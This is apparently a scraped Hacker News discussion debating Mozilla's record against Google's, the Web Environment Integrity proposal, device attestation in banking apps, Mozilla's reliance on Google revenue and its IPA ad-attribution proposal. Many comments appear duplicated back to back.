It's the lack of foresight and the lack of good judgment that I don't see getting fixed.
Both of those incidents should have been completely avoidable with even the most minimal of forethought.
It's the lack of foresight and the lack of good judgment that I don't see getting fixed.
Both of those incidents should have been completely avoidable with even the most minimal of forethought.
And the biggest: not allowing you to contribute to the FireFox project directly but only to Mozilla which will use the funds in many other pet projects besides doing what they should be doing.
Okay, and this one proposal by Google has outweighed all of those exponentially.
So it's ok for me to stab you if my buddy then chops your head off?
No but I'll forgive you for startling me.
Which is the scale of Mozilla "badness" compared to the rest, even you.
And especially in the ligh of the good things they do.
You can be a critic, but be so in balance with the good things, otherwise you are making doing good something so ingrate a lot of people will give up.
If you thing doing the right thing is easy, you have not been doing a lot of it.
Which is the scale of Mozilla "badness" compared to the rest, even you.
And especially in the ligh of the good things they do.
You can be a critic, but be so in balance with the good things, otherwise you are making doing good something so ingrate a lot of people will give up.
If you thing doing the right thing is easy, you have not been doing a lot of it.
If those are the options, yes a stab is better than decapitation.
Of course a stab is better than decapitation. The point of the analogy is to ask whether the stabber is your friend.
The only one in that list that bothers me is the push notifications, and even that I can't care about too much.
Seems like a good record to me.
Seems like a good record to me.
Announcing that Pocket would be baked directly into the browser, against the will of users—rather than being a promoted extension and despite the fact that it was at the time a completely unrelated company selling closed source SaaS and in the business of collecting telemetry—and then proceeding despite the widespread backlash doesn't bother you? Issuing misleading PR statements carefully worded to strongly suggest that there was no money changing hands re Pocket integration while maintaining plausible deniability concerning the truth, which is that there was money changing hands—that doesn't bother you? That the subterfuge was so effective that Mozilla employees themselves who were not otherwise in the know took it as a statement that there were no kickbacks involved—and then showed up in places like HN comments outright saying that there weren't kickbacks—that doesn't bother you? The fact that when Pocket was bought, it was understood and even claimed that it would be open source (just like all the other Mozilla Foundation IP), and yet we are in our seventh year after the acquisition and it's no more open source today than it was then—this doesn't bother you?
Is there any threshold for mendacity that if crossed would bother you?
Is there any threshold for mendacity that if crossed would bother you?
It's not that I'm cool with the Pocket bullshit. It's just that I can't bring myself to more than a shrug when I put it next to Google or Microsoft.
I mean, Chrome (including Chromium, IIRC) literally collects and ships a bunch of tracking data to Google THE FIRST FUCKING TIME YOU LAUNCH THE APPLICATION.
Context matters. If Firefox did the Pocket nonsense in an environment where we had multiple decent free (as in freedom) browsers, then I'd grab my pitchfork. As it stands, I just can't feel the righteous indignation your comment is trying to rouse. It's truly NOTHING compared to the other options.
I mean, Chrome (including Chromium, IIRC) literally collects and ships a bunch of tracking data to Google THE FIRST FUCKING TIME YOU LAUNCH THE APPLICATION.
Context matters. If Firefox did the Pocket nonsense in an environment where we had multiple decent free (as in freedom) browsers, then I'd grab my pitchfork. As it stands, I just can't feel the righteous indignation your comment is trying to rouse. It's truly NOTHING compared to the other options.
If those breaches in user trust don't bother you, why not use Chrome then? I can't recall any campaign Chrome has pushed that breached privacy as severely.
I see it differently. I couldn't care less about Pocket integration and Mr.Robot easter egg, but Mozilla became hostile toward power users and open web idealists.
They killed Weave (aka Sync 1.0; which was somewhat weird but simple enough to comprehend, reimplement and self-host), replacing it with an NIH-reeking over-engineered abomination that's the very antithesis of standard, open or public. Most people just ignored it as "that's Mozilla own infrastructure, they don't have to make it open, design it well, think of others, or anything else". I could not.
They tried to push a fundamentally flawed Persona/BrowserID standard that continued the trend to remove users from their "own" identities while claiming it's a pro-user pro-privacy move. I can see the logic, but I'm of firm opinion that it would've done more harm than good. I'm glad the project died without gaining any traction and WebAuthn (which has its issues, but where users are the source of their identities) took over. That's what BrowserID should've been, but Mozilla just went with the flow and refused or failed to fight for identity ownership.
It's things like those what made me regret using Firefox (but again, everything else is worse), not some home page sponsored links. That's where they stopped to differ from the rest for me. Mozilla used to be a beacon of doing things right even if it was challenging, fighting for a better web. And they became just another software company, that put their glorious past on all the ads (how they're so pro-everything good) while failing to live up to those high standards.
They had an user agent, but they butchered it and made it just a browser.
They killed Weave (aka Sync 1.0; which was somewhat weird but simple enough to comprehend, reimplement and self-host), replacing it with an NIH-reeking over-engineered abomination that's the very antithesis of standard, open or public. Most people just ignored it as "that's Mozilla own infrastructure, they don't have to make it open, design it well, think of others, or anything else". I could not.
They tried to push a fundamentally flawed Persona/BrowserID standard that continued the trend to remove users from their "own" identities while claiming it's a pro-user pro-privacy move. I can see the logic, but I'm of firm opinion that it would've done more harm than good. I'm glad the project died without gaining any traction and WebAuthn (which has its issues, but where users are the source of their identities) took over. That's what BrowserID should've been, but Mozilla just went with the flow and refused or failed to fight for identity ownership.
It's things like those what made me regret using Firefox (but again, everything else is worse), not some home page sponsored links. That's where they stopped to differ from the rest for me. Mozilla used to be a beacon of doing things right even if it was challenging, fighting for a better web. And they became just another software company, that put their glorious past on all the ads (how they're so pro-everything good) while failing to live up to those high standards.
They had an user agent, but they butchered it and made it just a browser.
To be honest, everything you listed seems either irrelevant or a small mishap that at worst just leaves some bad taste.
Ok, now write the same list for Google. And then we can compare.
List for Chrome might be smaller: DRM videos, Manifest v3, this crap, JPEG-XL, ...
Problem is that Chrome is massive. If Chrome decides it will go left, most of websites will go left.
If you want to compare with Google the list is way more subjective.
Problem is that Chrome is massive. If Chrome decides it will go left, most of websites will go left.
If you want to compare with Google the list is way more subjective.
> Is Mozilla failing?
Firefox's usage dropping from about 30% down to likely less than 3% today, with almost no mobile usage, should be seen as a severe failure.
This failure isn't just about the product's uptake, too. It's also about the Firefox developers losing meaningful influence over the way the web evolves.
Firefox's usage dropping from about 30% down to likely less than 3% today, with almost no mobile usage, should be seen as a severe failure.
This failure isn't just about the product's uptake, too. It's also about the Firefox developers losing meaningful influence over the way the web evolves.
It's not about the absolute position on the scale, but the direction of change. Mozilla has been moving towards anti-user for years now.
They went from A to B (exact magnitude of change is of course part of the criticism):
---
These kinds of discussions are frustrating to me since it feels like we've been dealt a very bad hand. But it's not just this hand, the dealer is firmly set on us only receiving bad hands in any game we play.
Like in a card game, this is the only hand that we'll get. What other corporation do we have to push these kinds of values? What other avenue do we have? It's sad that we've come to this situation, but if the choice is the currently perceived-to-be-failing Mozilla and no Mozilla, I pick the failing Mozilla.
|------------B---A---|
anti-user pro-user
---
These kinds of discussions are frustrating to me since it feels like we've been dealt a very bad hand. But it's not just this hand, the dealer is firmly set on us only receiving bad hands in any game we play.
Like in a card game, this is the only hand that we'll get. What other corporation do we have to push these kinds of values? What other avenue do we have? It's sad that we've come to this situation, but if the choice is the currently perceived-to-be-failing Mozilla and no Mozilla, I pick the failing Mozilla.
> What other corporation do we have to push these kinds of values?
The thing is, Mozilla shouldn't even be a for-profit corporation in the first place.
The thing is, Mozilla shouldn't even be a for-profit corporation in the first place.
Didn't they try being just a non-profit and it failed? IIRC they had to establish a corporation to sell defaults like search or they wouldn't have had enough funding to continue.
How do we define "evil"? Let's say we can measure how much evil Putin does and put it on a scale:
The sentiment I seem to see is that anything short of sainthood is evil.
The answer of course is that relativism is not a good way to judge people or organizations. Mozilla chooses to do a lot of shitty things. They should be criticized for that even if someone else is worse.
|--------------------|
anti-user pro-user
|----H-------P-------|
anti-user pro-user
The sentiment I seem to see is that anything short of sainthood is evil.
The answer of course is that relativism is not a good way to judge people or organizations. Mozilla chooses to do a lot of shitty things. They should be criticized for that even if someone else is worse.
We have a lot of other comparison points between Putin and Hitler of national leaders who are not generally considered evil, so it's not accurate that the sentiment is that anything short of sainthood is evil.
Besides, people aren't using relativism here. Relativism is the idea that nothing is truly good or bad, it's all a matter of personal or cultural preferences. That would mean that people were saying that that Mozilla's behavior about X, Y, and Z isn't really bad. But that's not really the argument here. People are generally saying that despite engaging in the bad behaviors X,Y and Z, Mozilla is still in balance better than Google, and arguably still worthy of some level of support. To phrase it in terms of Aristotelian ethics: "For the lesser evil can be seen in comparison with the greater evil as a good, since this lesser evil is preferable to the greater one, and whatever preferable is good". You're unquestionably correct that Mozilla should be criticized, even harshly so. But you can criticize a company (or person, or party, or country) and still support them. Or if short of support, still prefer them to the available alternatives.
Besides, people aren't using relativism here. Relativism is the idea that nothing is truly good or bad, it's all a matter of personal or cultural preferences. That would mean that people were saying that that Mozilla's behavior about X, Y, and Z isn't really bad. But that's not really the argument here. People are generally saying that despite engaging in the bad behaviors X,Y and Z, Mozilla is still in balance better than Google, and arguably still worthy of some level of support. To phrase it in terms of Aristotelian ethics: "For the lesser evil can be seen in comparison with the greater evil as a good, since this lesser evil is preferable to the greater one, and whatever preferable is good". You're unquestionably correct that Mozilla should be criticized, even harshly so. But you can criticize a company (or person, or party, or country) and still support them. Or if short of support, still prefer them to the available alternatives.
I certainly wouldn't brand Putin as "pro-user".
> Judging by all the hate Mozilla gets around here, it would be nice to at least see some credit given where it is due.
They get hate only for bad or useless things (like the famous "independent voices") but a lot of love for the actual work being done, especially Firefox Containers, enormous performance improvements etc. I'm using Firefox on a daily basis and just the Containers feature make it so much superior to Chrome.
They get hate only for bad or useless things (like the famous "independent voices") but a lot of love for the actual work being done, especially Firefox Containers, enormous performance improvements etc. I'm using Firefox on a daily basis and just the Containers feature make it so much superior to Chrome.
> Judging by all the hate Mozilla gets around here, it would be nice to at least see some credit given where it is due.
Mozilla, the browser, is great.
Mozilla efforts, such as Rust, have been historically great.
Mozilla leadership is currently awful. They focus is on the wrong things - web VR and low-quality foundational AI models. Maybe because they think the web is at risk of disappearing outright. But the true enemy is Google, and they're currently its well-behaved prisoner.
Mozilla can't bite the hand that feeds it, but someone needs to point the FTC, Congress, and the EU at Google. Everything they do, buy, and work on is to point an overwhelming majority of internet users at its ad products. Chrome, Search, Android, YouTube, Apple default search engine deal, etc. Google has become inescapable. And that's rather anti-competitive if you're trying to advertise your business or selling ad tech.
Nevermind that the web commons and standards are constantly in Google's blast radius for funneling everyone into their gaping maw.
Mozilla, the browser, is great.
Mozilla efforts, such as Rust, have been historically great.
Mozilla leadership is currently awful. They focus is on the wrong things - web VR and low-quality foundational AI models. Maybe because they think the web is at risk of disappearing outright. But the true enemy is Google, and they're currently its well-behaved prisoner.
Mozilla can't bite the hand that feeds it, but someone needs to point the FTC, Congress, and the EU at Google. Everything they do, buy, and work on is to point an overwhelming majority of internet users at its ad products. Chrome, Search, Android, YouTube, Apple default search engine deal, etc. Google has become inescapable. And that's rather anti-competitive if you're trying to advertise your business or selling ad tech.
Nevermind that the web commons and standards are constantly in Google's blast radius for funneling everyone into their gaping maw.
I can't see how Mozilla could possibly right the ship with their current CEO. If they get rid of her maybe things could improve. Until then, I'd bet on Microsoft/Apple before I bet on Mozilla when it comes to protecting the web.
What has the CEO done?
Microsoft and Apple dont have a good history so assuming there is something big here?
Microsoft and Apple dont have a good history so assuming there is something big here?
Some stuff:
1. Under her leadership Mozilla has lost virtually all of its users. It has been reduced to less than 10% of what it had before, maybe worse - I haven't kept up.
2. At the beginning of Covid, a time when remote work was on the rise and tech valuations were through the roof, a time when the browser was more important than ever, she took her largest payout and fired hundreds of employees. She was compensated at over $5M dollars, enough money to pay a team of engineers for years.
3. Firefox has utterly failed to capture Enterprise market, where Chrome has managed to dominate. I doubt most people are even aware that a corp managed Firefox is an option, they have done such a poor job marketing it.
4. Every initiative Mozilla has come out with has completely failed to gain traction. Something like a VPN could have been a great fit for Mozilla but they did nothing with it. Mozilla has been incapable, organizationally, of capitalizing on technology - the thing they're kinda supposed to do exclusively.
She has failed in every conceivable way as a CEO. She has failed in terms of the mission, she has failed her employees, she has failed her users, she has failed to be an example as a leader.
Mozilla, as it exists today, is a convenient project for Chrome to point to and say "look, there's competition" - perhaps the only reason why Google continues to fund Mozilla.
Microsoft and Apple are at least competently run and have incentives to push to reduce Chrome's power.
1. Under her leadership Mozilla has lost virtually all of its users. It has been reduced to less than 10% of what it had before, maybe worse - I haven't kept up.
2. At the beginning of Covid, a time when remote work was on the rise and tech valuations were through the roof, a time when the browser was more important than ever, she took her largest payout and fired hundreds of employees. She was compensated at over $5M dollars, enough money to pay a team of engineers for years.
3. Firefox has utterly failed to capture Enterprise market, where Chrome has managed to dominate. I doubt most people are even aware that a corp managed Firefox is an option, they have done such a poor job marketing it.
4. Every initiative Mozilla has come out with has completely failed to gain traction. Something like a VPN could have been a great fit for Mozilla but they did nothing with it. Mozilla has been incapable, organizationally, of capitalizing on technology - the thing they're kinda supposed to do exclusively.
She has failed in every conceivable way as a CEO. She has failed in terms of the mission, she has failed her employees, she has failed her users, she has failed to be an example as a leader.
Mozilla, as it exists today, is a convenient project for Chrome to point to and say "look, there's competition" - perhaps the only reason why Google continues to fund Mozilla.
Microsoft and Apple are at least competently run and have incentives to push to reduce Chrome's power.
Effectively ensured Mozilla is entirely dependant on Google as a single revenue steam. No other initiatives to earn anything.
Mozilla VPN, Firefox Relay Premium, Pocket Premium, MDN Plus, Hubs Enterprise... I'm sure I'm forgetting a bunch.
Of course, there's also criticism for attempting those.
Of course, there's also criticism for attempting those.
Well, Pocket Premium got a lot of criticism for going completely against user sentiment, and the small matter of a lot of heavily lawyered weasel wording statements to very strongly imply that no money was exchanged when in fact quite a lot of money was exchanged to make it happen.
Mozilla should be independent from Google. No, not like that!
TBH it's a really good point. Any time Mozilla has tried to appeal to users in a way that would actually be profitable their users have lost their minds over it.
The issue is that donating money to Mozilla does nothing for Firefox; Personally I use Firefox on everything (home, work, phone); Firefox is the browser for my family too - much the same (Firefox on everything, phones included).
If I could/had to pay/donate for it - I'd gladly do, but it's virtually impossible.
If I could/had to pay/donate for it - I'd gladly do, but it's virtually impossible.
AFAIK income from particular Mozilla products isn't earmarked for spending on specifically those products, so buying non-Firefox products can provide income that can be used to fund Firefox development.
That said, I think income from Firefox's default search engine pretty much dwarfs any income that could potentially be gained from donations/buy-to-support.
That said, I think income from Firefox's default search engine pretty much dwarfs any income that could potentially be gained from donations/buy-to-support.
clipsy(4)
Google is set to go on trial in 2024 with the FTC. We'll see how that goes. I don't have high hopes, primarily due to how difficult it is to expect larger reach by adhering to past laws that are quite lenient. At most I can see AdX being negatively affected, but that wouldn't result in the substantial change most want here and would just allow another like Apple to step in and repeat what Google has done.
From what I understand, the arguments about self-preferencing kind of always get thrown out due to a more strict interpretation of the law. Did with Apple, and with Facebook when they were acquiring Instagram and Whatsapp.
From what I understand, the arguments about self-preferencing kind of always get thrown out due to a more strict interpretation of the law. Did with Apple, and with Facebook when they were acquiring Instagram and Whatsapp.
Ya. All I want is to throw moneydollars at the fucking browser, not at whatever feel-good initiative of the month the Mozilla Foundation is coming up with. I don't understand the problem.
The end result is that DRM and banking sites will just tell you to use chrome to continue. And users will keep migrating to chrome until Mozilla is forced to implement it.
I dunno about banking sites, currently they seem to be some of the worst out there in terms of caring about modern security techniques. eg SMS 2FA at best, terrible password handling etc. They don't move very fast at all.
It feels weird that I'm now grateful for how crap they are.
It feels weird that I'm now grateful for how crap they are.
Since this is currently being built on Play Integrity API, and banking _apps_ are some of the most prominent users of it, I'm sure banking sites will follow if possible.
For example it is currently the reality in EU, that in order to use any of the native banking apps, a user has no choice but to expose themselves to privacy violations by either Google or Apple, i.e. US companies.
While at least one alternative exists, https://grapheneos.org/articles/attestation-compatibility-gu..., these alternatives are not being used in practice.
I see no way of preventing this happening on the web as well, if the Web Environment Integrity API ships.
For example it is currently the reality in EU, that in order to use any of the native banking apps, a user has no choice but to expose themselves to privacy violations by either Google or Apple, i.e. US companies.
While at least one alternative exists, https://grapheneos.org/articles/attestation-compatibility-gu..., these alternatives are not being used in practice.
I see no way of preventing this happening on the web as well, if the Web Environment Integrity API ships.
So far I haven't encountered ans issues with banking apps using MicroG in Germany. Could be our banking apps are even more backward though. Also given PSD2 there is always the option of someone developing 3rd party banking apps.
> Also given PSD2 there is always the option of someone developing 3rd party banking apps.
1. From what I've seen, the PSD2 APIs haven't really been created with end users in mind – there are non-trivial accreditation requirements on people/entities wishing to make use of those APIs, the expectation being that only professional middlemen will dally with those APIs.
2. The PSD2 APIs don't necessarily cover the full functionality of a bank's online banking functionality.
3. While you can probably still get quite far with "just" the ability to query the current account data and recent transactions, as well as being able to initiate payments, this doesn't sidestep the bank's authorisation requirements – meaning that unless you can use a hardware TAN generator or something like that, you're still dependent on the bank's app for payment and account access authorisation.
1. From what I've seen, the PSD2 APIs haven't really been created with end users in mind – there are non-trivial accreditation requirements on people/entities wishing to make use of those APIs, the expectation being that only professional middlemen will dally with those APIs.
2. The PSD2 APIs don't necessarily cover the full functionality of a bank's online banking functionality.
3. While you can probably still get quite far with "just" the ability to query the current account data and recent transactions, as well as being able to initiate payments, this doesn't sidestep the bank's authorisation requirements – meaning that unless you can use a hardware TAN generator or something like that, you're still dependent on the bank's app for payment and account access authorisation.
I have heard podcast with lead dev of local bank app talking about how they wish PWAs would be possible. Because right now they have to secure and audit web, ios, android. Instead having one platform would be easier and probably more secure.
Maybe web is the right platform for these. But of course Google will use this to close things down.
Maybe web is the right platform for these. But of course Google will use this to close things down.
Banking apps seem to be the main users of root detection on android. One prominent bank in Australia doesn’t have a web UI at all and only allows access via app. And I suspect it’s partially for security reasons.
The average person is very likely to have malware on their computer, but not on their phone.
The average person is very likely to have malware on their computer, but not on their phone.
Funny story: I had to root my phone to get the Fidelity app to work.
I installed lineageOS, which is passes the Google SafetyNet check out-of-the-box. So most things just work, including my local Credit Union's app.
But lineageOS fails the CTS profile check on my phone. Fidelity checks this after you log in and shows a "For security reasons your account has been blocked..." message.
So I had to root the phone to install a CTS profile fixer, and then more hacks to hide the fact it was rooted.
After that Fidelity worked, but requested root permission every time I launched it until I figured out how to permanently disable that.
Netflix was similar, but not quite as annoying.
I installed lineageOS, which is passes the Google SafetyNet check out-of-the-box. So most things just work, including my local Credit Union's app.
But lineageOS fails the CTS profile check on my phone. Fidelity checks this after you log in and shows a "For security reasons your account has been blocked..." message.
So I had to root the phone to install a CTS profile fixer, and then more hacks to hide the fact it was rooted.
After that Fidelity worked, but requested root permission every time I launched it until I figured out how to permanently disable that.
Netflix was similar, but not quite as annoying.
> The average person is very likely to have malware on their computer, but not on their phone.
Is that sarcasm? Their computer is likely more secure than the jungle of manufacturer modified roms where who knows what's inside.
Is that sarcasm? Their computer is likely more secure than the jungle of manufacturer modified roms where who knows what's inside.
I have 4 banking apps and about 8 government apps in my phone. All of them require device attestation. I have no doubt they will use the Web Integrity API as well.
> SMS 2FA at best
Because their customers aren't security nerds that have smartphones with authentication apps.
They want people that barely get smartphones, or still use feature phones, to be able to access their services with some improved security workflows.
Because their customers aren't security nerds that have smartphones with authentication apps.
They want people that barely get smartphones, or still use feature phones, to be able to access their services with some improved security workflows.
The apps of the banks often generates an OTP or intercept a push notification, ask for fingerprint and send an authorization response back to the server. I go through that with each of my banks every time I login or make some money transfer.
I got codes via SMS when I installed those apps and I had to prove that I owned the phone number I was associating with the app.
I got codes via SMS when I installed those apps and I had to prove that I owned the phone number I was associating with the app.
Good example of what many non-techie people will never understand, or even have phones capable of doing it.
.... which is why if this web integrity thing gets out, you know the next move they make will be to embrace it.
> The end result is that DRM and banking sites will just tell you to use chrome to continue.
IMO much bigger issue is that significant amount of non-banking sites that are now trying to shame user with "disable adblocker to continue" messages (easily bypassed) will start requiring this. Or Twitter/Reddit/etc., in the name of "fighting bots" of course, nothing to do with ensuring you are watching their ads...
IMO much bigger issue is that significant amount of non-banking sites that are now trying to shame user with "disable adblocker to continue" messages (easily bypassed) will start requiring this. Or Twitter/Reddit/etc., in the name of "fighting bots" of course, nothing to do with ensuring you are watching their ads...
But this is exactly the problem. If Chrome had only 25% market share they wouldn't feel that they could force users to use Chrome. But if Chrome and Safari make up 80% of the browser market they feel like they can.
The solution is diversity and using browsers that respect users. Chrome only has the power to push this API because they own most of the market.
The solution is diversity and using browsers that respect users. Chrome only has the power to push this API because they own most of the market.
Chromeium based browsers have more like 95% of the market share. Look in this thread; every little thing Mozilla does is treated like the end of the world and a severe breach of trust. Google literally says "Everyone should implement this brand new proposal that makes being truly anonymous on the web impossible" and it's fucking crickets in their usage numbers.
Who uses banking sites on their mobile?
Every financial i use (half a dozen) have an app
Every financial i use (half a dozen) have an app
And why exactly would I use an 'app', if they have a mobile website?
Personally because my bank app also doubles as the authentication token generator that’s paired with Face ID on my phone. So even if I were to use the mobile site I’d need to open the app at some point to authorize any operation. At that point I might just use the app directly and make my life easier.
Because I have to install the app anyway to authorize the access to the website, mobile or desktop.
I would suggest going to the bank, in person, and telling them very strongly that I will take my money elsewhere if they do that.
...and a teller won't/can't do anything about it and this will change nothing. Maybe leave your keyboard for a second and understand how the world actually works.
Unless you have billions at a bank, I don't see why any bank would even consider changing how their website works because of a single customer. And, well, real billionaires probably don't care about not being able to use a website on Firefox.
Unless you have billions at a bank, I don't see why any bank would even consider changing how their website works because of a single customer. And, well, real billionaires probably don't care about not being able to use a website on Firefox.
Of course, real billionaires probably have staff members doing that work for them.
A single customer might not have any effect, but if many of them do the same, it could. Don't give up just because your individual contribution is negligible.
Half the banks in my country don’t even have a physical location. And the ones that do are just staffed with low paid service workers who neither care, nor have the ability to do anything about your complaint.
I assume it would go about as well as complaining to Comcast representatives in the famous South Park episode.
You would be surprised.
My bank calls me once every few months, if everything is ok, and if there are is something that is bothering me and could be improved, or if they can help with something. At first I thought it is some marketing program and some manager has to achieve some KPIs, but surprisingly, they did listen to suggestions (it took time, but they eventually did).
So you never know, if you never try.
My bank calls me once every few months, if everything is ok, and if there are is something that is bothering me and could be improved, or if they can help with something. At first I thought it is some marketing program and some manager has to achieve some KPIs, but surprisingly, they did listen to suggestions (it took time, but they eventually did).
So you never know, if you never try.
I had to interact with several bank customer support departments and I'm surprised by experience you described. Are you a $$$-business customer or something?
The funny part is, that it is a personal account.
Business account is in different bank, and the communication there was much harder (obviously by someone not trained in communication and having to talk to me as unplanned part of their job). The fees are lower, though.
So it doesn't seem to be by the amount of $$$ on the account.
Business account is in different bank, and the communication there was much harder (obviously by someone not trained in communication and having to talk to me as unplanned part of their job). The fees are lower, though.
So it doesn't seem to be by the amount of $$$ on the account.
They will not care.
especially those of us invested in the safety and security (collectively, trust) of the web.
Note that "safety and security" has become an abhorrent phrase among many of us because it evokes the "authoritarian dystopia" that Google et.al. are creating --- we're more concerned about freedom and interoperability.
Note that "safety and security" has become an abhorrent phrase among many of us because it evokes the "authoritarian dystopia" that Google et.al. are creating --- we're more concerned about freedom and interoperability.
What you're saying is all true, but speaking strictly, the security of the web as a whole is endangered if proposals give entities the tools they need to chip away at that freedom and interoperability bit by bit.
That was the intention behind my choice of words — representing the whole web, not just components of it or companies operating on it.
That was the intention behind my choice of words — representing the whole web, not just components of it or companies operating on it.
One option is for sysadmins and IT shops serving SMBs to preinstall Firefox on workstations. That way users get used to the browser and might use it privately as well. Bonus: Preinstall uBlock Origin.
Thats what we do, anyways.
Thats what we do, anyways.
That will only happen when people can't do the things they normally could anymore on the browser. I was/am expecting it to happen with manifest v3, as I understood it it would break userscripts and make adblocking a pain, so far it hasn't happened so I still haven't bothered switching off Chrome.
Assuming this gets implemented, users might start being unable to access certain websites or services because their identity is deemed "insufficient", which would move them to use a different browser that does not have this.
Assuming this gets implemented, users might start being unable to access certain websites or services because their identity is deemed "insufficient", which would move them to use a different browser that does not have this.
My understanding was that manifest v3 implementation was delayed so I'd be surprised if it broken anything yet. It looked to me like the standard blow back management move where they see opposite boiling up so they announce a "delay" and try to sneak it in later when the heat has died down.
As far as I know, disabling it in chromium can be as simple as commenting out the last line that returns the verdict. It'll need more work if you don't want to send data to random "trusted" parties, but brave is already doing that stuff anyway.
I don't see why it would be that difficult. The issue here is with websites that want to mandate it.
I don't see why it would be that difficult. The issue here is with websites that want to mandate it.
Just so you know, barely anyone in the real world uses Chromium, and compiling Chromium takes hours (I have done that many times). So that's not an argument. Also, if this is ever becomes a standard or a de-facto standard, it probably will be implemented as a proprietary feature, in the same way as Widevine or more closely SafetyNet -- if anyone can easily get around this, there is no point of doing it.
If the web integrity and standards depend on coherency and transparency your post does nothing but to miss inform those who know little about the subject.
I've said it elsewhere but folks need to use Firefox, because if everyone stops there'll be no-one with a voice to stand up to Google's BS because they OWN chrome and can do whatever they want with it.
Not saying it's perfect or better, just that we need it. we need a competing browser with a rendering engine that google doesn't ultimately control that has a non-trivial market share. Otherwise we may as well just stop complaining and let google do what it wants because we'll have no power to stop them anyway.
Not saying it's perfect or better, just that we need it. we need a competing browser with a rendering engine that google doesn't ultimately control that has a non-trivial market share. Otherwise we may as well just stop complaining and let google do what it wants because we'll have no power to stop them anyway.
Isn't the majority of Mozilla's revenue from Google's paid placement as the default search engine? Or has this changed in recent years?
Quick googling confirms 50%+ of revenue came from Google 5-10 years ago, but couldn't find more recent data.
If Google is Mozilla's primary revenue source (especially if it's the majority), then Google effectively controls Mozilla via the leverage it has to pull Mozilla's largest revenue source.
Edit: Also raises the question, what company or organization should be developing browsers? A browser is something everyone expects to be free, but a browser is by no means free to develop, operate and maintain. For-profit browser companies (like Brave) would be forced to monetize the browser (like Brave tried to do with BAT crypto tokens, ads on the new tab page, etc)
Quick googling confirms 50%+ of revenue came from Google 5-10 years ago, but couldn't find more recent data.
If Google is Mozilla's primary revenue source (especially if it's the majority), then Google effectively controls Mozilla via the leverage it has to pull Mozilla's largest revenue source.
Edit: Also raises the question, what company or organization should be developing browsers? A browser is something everyone expects to be free, but a browser is by no means free to develop, operate and maintain. For-profit browser companies (like Brave) would be forced to monetize the browser (like Brave tried to do with BAT crypto tokens, ads on the new tab page, etc)
> If Google is Mozilla's primary revenue source (especially if it's the majority), then Google effectively controls Mozilla via the leverage it has to pull Mozilla's largest revenue source.
There's been speculation for a long time that the real reason Google pays for that is to keep Mozilla afloat and stave off antitrust investigations related to Chrome.
That may have changed with other browsers coming out, although almost all of them are based on Chromium. Ianal, have no idea whether or not someone can be a "competitor" if they're using largely the same source.
If it's true that Google is mostly paying for antitrust avoidance and that something like Edge isn't a "competitor", Mozilla has substantial leverage. Mozilla just needs to be cheaper than an antitrust investigation and potential loss of that case. I would imagine that's not hard to do, that sounds expensive.
There's been speculation for a long time that the real reason Google pays for that is to keep Mozilla afloat and stave off antitrust investigations related to Chrome.
That may have changed with other browsers coming out, although almost all of them are based on Chromium. Ianal, have no idea whether or not someone can be a "competitor" if they're using largely the same source.
If it's true that Google is mostly paying for antitrust avoidance and that something like Edge isn't a "competitor", Mozilla has substantial leverage. Mozilla just needs to be cheaper than an antitrust investigation and potential loss of that case. I would imagine that's not hard to do, that sounds expensive.
Google does not control Mozilla. For a few years, Mozilla had a contract with Yahoo as the default search engine, but switched back to Google for complicated reasons. In any case, Google isn't the only option for Mozilla, and there are other companies who would happily pay just as much money.
Mozilla has opposed Google many times, and is doing so again in the very link you are commenting on. Mozilla is not completely free from economic realities, but we are definitely not controlled by Google.
(Disclaimer: I'm working for Mozilla as an SRE.)
Mozilla has opposed Google many times, and is doing so again in the very link you are commenting on. Mozilla is not completely free from economic realities, but we are definitely not controlled by Google.
(Disclaimer: I'm working for Mozilla as an SRE.)
Yes but no. If google wanted to force Mozilla to do anything they could switch default search providers with someone else who will pay them about the same relatively easily.
[deleted]
I would use FF if it was actually usable for me, but it isn't, so I can't.
Please elaborate.
Can Mozilla also respond with their position on their own IPA proposal[1] for tracking users across the Internet?
If you are shown a product ad whilst browsing searchengine.example and then later look up the product at reviews.example, then end up making a purchase at shop.example, your Mozilla browser will send all of these events to one or more aggregation services that allows shop.example to understand (at least in aggregate, assuming you trust the cartels running the aggregation services) that you were exposed to their product at searchengine.example and further exposed to their product at reviews.example.
Where previously an ad tech company was ultimately able to track users based on source IP address (even if cookies had been disabled by a user), IPA now allows these companies to track users across multiple IP addresses, and regardless of the user's cookie settings, via a unique tracking identifier. It is also proposed that the operating system provides the unique tracking identifier which can then be used by all applications or browsers on a device, allowing different devices behind a single IP address to be distinguished.
[1] https://github.com/patcg-individual-drafts/ipa/
If you are shown a product ad whilst browsing searchengine.example and then later look up the product at reviews.example, then end up making a purchase at shop.example, your Mozilla browser will send all of these events to one or more aggregation services that allows shop.example to understand (at least in aggregate, assuming you trust the cartels running the aggregation services) that you were exposed to their product at searchengine.example and further exposed to their product at reviews.example.
Where previously an ad tech company was ultimately able to track users based on source IP address (even if cookies had been disabled by a user), IPA now allows these companies to track users across multiple IP addresses, and regardless of the user's cookie settings, via a unique tracking identifier. It is also proposed that the operating system provides the unique tracking identifier which can then be used by all applications or browsers on a device, allowing different devices behind a single IP address to be distinguished.
[1] https://github.com/patcg-individual-drafts/ipa/
Attribution is necessary for advertising to work at all. If you don't have attribution that is independent of the ad platform you bought ads from, then the ad platform will defraud you[0]. This is separate from ad tracking where you build up interest profiles on users, or ad remarketing where sites can buy ads from people who have visited them in the past[1].
Most of these private attribution systems are specifically designed so that the people running the ad can count how many people clicked their ads, but not who clicked them or what other things they did. Safari had a proposal in which you could only have a certain number of campaigns running per domain, so you couldn't set up a separate """campaign""" for each user and fingerprint them all at once. I don't know how the Mozilla proposal differs.
Whether or not user-agents should care about this sort of thing is an orthogonal question.
[0] https://www.theregister.com/2023/06/29/google_trueview_skept...
[1] Remarketing in particular is responsible for the "feeling of being seen" from modern ads where you search for one thing and get 10,000 ads for the thing for the next week
Most of these private attribution systems are specifically designed so that the people running the ad can count how many people clicked their ads, but not who clicked them or what other things they did. Safari had a proposal in which you could only have a certain number of campaigns running per domain, so you couldn't set up a separate """campaign""" for each user and fingerprint them all at once. I don't know how the Mozilla proposal differs.
Whether or not user-agents should care about this sort of thing is an orthogonal question.
[0] https://www.theregister.com/2023/06/29/google_trueview_skept...
[1] Remarketing in particular is responsible for the "feeling of being seen" from modern ads where you search for one thing and get 10,000 ads for the thing for the next week
> Attribution is necessary for advertising to work at all.
Something strange. So, radio advertisement, billboards, video panels, and absolutely any other type of advertisement is a scam that exists for few decades and still going good?
Something strange. So, radio advertisement, billboards, video panels, and absolutely any other type of advertisement is a scam that exists for few decades and still going good?
